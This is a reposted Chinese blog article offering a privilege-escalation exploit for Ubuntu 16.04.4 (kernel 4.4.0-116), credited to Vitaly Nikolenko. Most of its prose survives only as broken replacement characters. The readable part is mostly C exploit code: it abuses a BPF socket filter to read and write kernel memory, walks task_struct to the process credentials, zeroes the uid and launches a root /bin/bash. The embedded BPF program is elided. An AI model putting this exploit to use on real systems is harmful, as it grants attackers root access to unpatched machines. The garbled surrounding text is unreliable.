
2018年3月最新的Ubuntu 16.04.4漏洞提权代码
发布日期:2021-05-15 06:41:09
浏览次数:5
分类:精选文章
本文共 3353 字,大约阅读时间需要 11 分钟。
Ubuntu 16.04.4������������������������������sqrt
���������������������������������Ubuntu 16.04.4���������������������������������������������������������������������������������������������������������������������Vitaly Nikolenko������������������������������������������������������������
������������
������������������������������������������������
������������
- PHYS_OFFSET 0xffff880000000000
- CRED_OFFSET 0x5f8
- UID_OFFSET 4
������������
char __prog[] = "..."; // ������������������int sockets[2];int mapfd, progfd;static uint64_t bpf_log_buf[LOG_BUF_SIZE];enum bpf_prog_type BPF_PROG_TYPE_SOCKET_FILTER = 21;enum bpf_map_type BPF_MAP_TYPE_ARRAY = 1;// ������������������������uint64_t __read(uint64_t addr) { // ������map_update_elem������.data return get_value(2);}// ���������������������void __write(uint64_t addr, uint64_t val) { // ������map_update_elem������.data __update_elem(0, addr, val);}5. ������������������```c// ������������mapfd���������������������������������progfd������������������������static void prep(void) { mapfd = bpf_create_map(BPF_MAP_TYPE_ARRAY, sizeof(int), sizeof(long long), 3); progfd = bpf_prog_load(BPF_PROG_TYPE_SOCKET_FILTER, __prog, 328, "GPL", 0); // ������socket������BPF������ if (socketpair(AF_UNIX, SOCK_DGRAM, 0, sockets)) { __exit(strerror(errno)); } if (setsockopt(sockets[1], SOL_SOCKET, SO_ATTACH_BPF, &progfd, sizeof(int)) < 0) { __exit(strerror(errno)); }}// ������������static uint64_t __get_fp(void) { __update_elem(1, 0, 0); return get_value(2);}static uint64_t __get_sp(uint64_t addr) { return addr & ~(0x4000-1);}static uint64_t get_value(int key) { uint64_t value; if (bpf_lookup_elem(key, value)) { __exit(strerror(errno)); } return value;}static void pwn(void) { uint64_t fp, sp, task_struct, cred, uid, gid; // ������_FP������ fp = __get_fp(); if (fp < PHYS_OFFSET) { __exit("bogus fp"); } // ������_SP������ sp = __get_sp(fp); if (sp < PHYS_OFFSET) { __exit("bogus sp"); } // ������������������������ task_struct = __read(sp); if (task_struct < PHYS_OFFSET) { __exit("bogus task"); } // ������cred pointer cred = __read(task_struct + CRED_OFFSET); if (cred < PHYS_OFFSET) { __exit("bogus cred"); } // ������uid���gid uid = cred + UID_OFFSET; if (uid < PHYS_OFFSET) { __exit("bogus uid"); } __write(uid, 0); // detach shell if (system("/bin/bash")) { exit(EXIT_SUCCESS); } __exit("not vulnerable?");}
- ������������
- ������Ubuntu 16.04.4���������������kernel: 4.4.0-116-generic #140-Ubuntu SMP Mon Feb 12 21:23:04 UTC 2018 x86_64
- ������������
socketpair
������������Unix��� socket��� - ������������������������BPF���������������SO_ATTACH_BPF���������������������socket������
- ������������map_update_elem���������������������������������������������������
- ������������������������������������������������������������������������������
- ���������������������������������������������������������������������������������������������
- ���������������������������������������������������������������������
int main(int argc, char **argv) { prep(); pwn(); return 0;}
���������������
���������������������
���������������
���������������������������������������������������������������������������������
发表评论
最新留言
逛到本站,mark一下
[***.202.152.39]2025年04月27日 20时38分15秒
关于作者

喝酒易醉,品茶养心,人生如梦,品茶悟道,何以解忧?唯有杜康!
-- 愿君每日到此一游!
推荐文章
案例讨论
2021-05-14
传输层基本功能
2021-05-14
问题的计算复杂度:排序问题
2021-05-14
算法的伪码表示
2021-05-14
递推方程与算法分析
2021-05-14
主定理的应用
2021-05-14
最优装载问题
2021-05-14
最大团问题
2021-05-14
圆排列问题
2021-05-14
课程总结
2021-05-14
认识CMake及应用
2021-05-14
CMake的主体框架
2021-05-14
微积分(三)
2021-05-14
Oracle
2021-05-14
软件工程应用
2021-05-14
数据科学
2021-05-14
函数与高级变量
2021-05-14
键盘事件
2021-05-14
注册页面案例
2021-05-14
np.bincount(x)的简单解释
2021-05-14